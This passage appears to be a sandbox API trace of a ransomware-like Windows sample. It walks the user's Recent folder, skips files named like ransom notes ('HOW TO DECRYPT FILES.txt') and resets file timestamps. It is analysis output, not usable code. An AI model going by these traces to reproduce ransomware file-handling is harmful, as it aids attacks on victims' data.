HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5FaFuTI49Q.lnk") returned="5FaFuTI49Q.lnk" [0088.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.686] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.686] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e530a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6e530a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6e530a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="77Dq4 6krTiGxW.lnk", cAlternateFileName="77DQ46~1.LNK")) returned 1 [0088.687] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.687] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="77Dq4 6krTiGxW.lnk") returned 1 [0088.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="77Dq4 6krTiGxW.lnk") returned 1 [0088.688] lstrcmpiA (lpString1="", lpString2="77Dq4 6krTiGxW.lnk") returned -1 [0088.688] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\67h3KYUj7HpJKh2YdAq.lnk") returned="67h3KYUj7HpJKh2YdAq.lnk" [0088.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.688] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.688] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0aa5760, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0aa5760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0aa5760, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2252, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="7vqkytEBAY.flv.lnk", cAlternateFileName="7VQKYT~1.LNK")) returned 1 [0088.688] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7vqkytEBAY.flv.lnk") returned 1 [0088.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7vqkytEBAY.flv.lnk") returned 1 [0088.688] lstrcmpiA (lpString1="", lpString2="7vqkytEBAY.flv.lnk") returned -1 [0088.688] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\77Dq4 6krTiGxW.lnk") returned="77Dq4 6krTiGxW.lnk" [0088.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.689] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.689] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3662ba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3662ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3662ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="9 BfkHQGeqPky.lnk", cAlternateFileName="9BFKHQ~1.LNK")) returned 1 [0088.689] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.689] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9 BfkHQGeqPky.lnk") returned 1 [0088.689] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9 BfkHQGeqPky.lnk") returned 1 [0088.689] lstrcmpiA (lpString1="", lpString2="9 BfkHQGeqPky.lnk") returned -1 [0088.689] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7vqkytEBAY.flv.lnk") returned="7vqkytEBAY.flv.lnk" [0088.689] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.689] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.689] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5fe4b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5fe4b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xef7, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="9XaLyjEQ2q4x vzuLh.lnk", cAlternateFileName="9XALYJ~1.LNK")) returned 1 [0088.689] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9XaLyjEQ2q4x vzuLh.lnk") returned 1 [0088.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9XaLyjEQ2q4x vzuLh.lnk") returned 1 [0088.690] lstrcmpiA (lpString1="", lpString2="9XaLyjEQ2q4x vzuLh.lnk") returned -1 [0088.690] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9 BfkHQGeqPky.lnk") returned="9 BfkHQGeqPky.lnk" [0088.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.690] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.690] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3df91c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3df91c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3df91c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14c6, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="a6pFpqKcT08uc_.lnk", cAlternateFileName="A6PFPQ~1.LNK")) returned 1 [0088.690] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="a6pFpqKcT08uc_.lnk") returned 1 [0088.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="a6pFpqKcT08uc_.lnk") returned 1 [0088.690] lstrcmpiA (lpString1="", lpString2="a6pFpqKcT08uc_.lnk") returned -1 [0088.690] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XaLyjEQ2q4x vzuLh.lnk") returned="9XaLyjEQ2q4x vzuLh.lnk" [0088.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.691] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.691] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe525ae20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe525ae20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5280f80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="a83cCiwxmWUgC_yDOAS.lnk", cAlternateFileName="A83CCI~1.LNK")) returned 1 [0088.691] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.691] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="a83cCiwxmWUgC_yDOAS.lnk") returned 1 [0088.691] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="a83cCiwxmWUgC_yDOAS.lnk") returned 1 [0088.691] lstrcmpiA (lpString1="", lpString2="a83cCiwxmWUgC_yDOAS.lnk") returned -1 [0088.691] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a6pFpqKcT08uc_.lnk") returned="a6pFpqKcT08uc_.lnk" [0088.691] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.691] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.691] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe237dd00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6030e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6030e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="a8RgsPXW5zNagK.lnk", cAlternateFileName="A8RGSP~1.LNK")) returned 1 [0088.691] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.691] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="a8RgsPXW5zNagK.lnk") returned 1 [0088.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="a8RgsPXW5zNagK.lnk") returned 1 [0088.692] lstrcmpiA (lpString1="", lpString2="a8RgsPXW5zNagK.lnk") returned -1 [0088.692] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a83cCiwxmWUgC_yDOAS.lnk") returned="a83cCiwxmWUgC_yDOAS.lnk" [0088.692] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.692] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.692] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42bbdc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe42bbdc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe42bbdc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa84, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="AciXUX 2IkzaZBEwM.lnk", cAlternateFileName="ACIXUX~1.LNK")) returned 1 [0088.692] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AciXUX 2IkzaZBEwM.lnk") returned 1 [0088.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AciXUX 2IkzaZBEwM.lnk") returned 1 [0088.693] lstrcmpiA (lpString1="", lpString2="AciXUX 2IkzaZBEwM.lnk") returned -1 [0088.693] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a8RgsPXW5zNagK.lnk") returned="a8RgsPXW5zNagK.lnk" [0088.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.693] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.693] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe41b1420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe41b1420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="aJiUxisNf5.lnk", cAlternateFileName="AJIUXI~1.LNK")) returned 1 [0088.693] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.693] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aJiUxisNf5.lnk") returned 1 [0088.693] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aJiUxisNf5.lnk") returned 1 [0088.693] lstrcmpiA (lpString1="", lpString2="aJiUxisNf5.lnk") returned -1 [0088.693] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AciXUX 2IkzaZBEwM.lnk") returned="AciXUX 2IkzaZBEwM.lnk" [0088.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.693] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.693] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42499a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe42499a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe42499a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x277c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="AMbKr K.lnk", cAlternateFileName="AMBKRK~1.LNK")) returned 1 [0088.693] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.694] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AMbKr K.lnk") returned 1 [0088.694] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AMbKr K.lnk") returned 1 [0088.694] lstrcmpiA (lpString1="", lpString2="AMbKr K.lnk") returned -1 [0088.694] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aJiUxisNf5.lnk") returned="aJiUxisNf5.lnk" [0088.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.694] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.694] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0088.694] lstrcmpA (lpString1=".", lpString2="AutomaticDestinations") returned -1 [0088.694] lstrcmpA (lpString1="..", lpString2="AutomaticDestinations") returned -1 [0088.694] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AMbKr K.lnk") returned="AMbKr K.lnk" [0088.694] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x52d5fe, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.694] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.694] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0088.695] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.695] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.695] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe5c9dd60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x30082, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0088.695] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.695] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1b4dd67f29cb1962.automaticDestinations-ms") returned 1 [0088.695] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1b4dd67f29cb1962.automaticDestinations-ms") returned 1 [0088.695] lstrcmpiA (lpString1="", lpString2="1b4dd67f29cb1962.automaticDestinations-ms") returned -1 [0088.695] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*") returned="*.*" [0088.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0088.695] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="" [0088.698] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.698] CloseHandle (hObject=0x9c) returned 1 [0088.698] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc606a140, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc606a140, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80e1f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0088.698] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7e4dca80246863e3.automaticDestinations-ms") returned 1 [0088.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7e4dca80246863e3.automaticDestinations-ms") returned 1 [0088.698] lstrcmpiA (lpString1="", 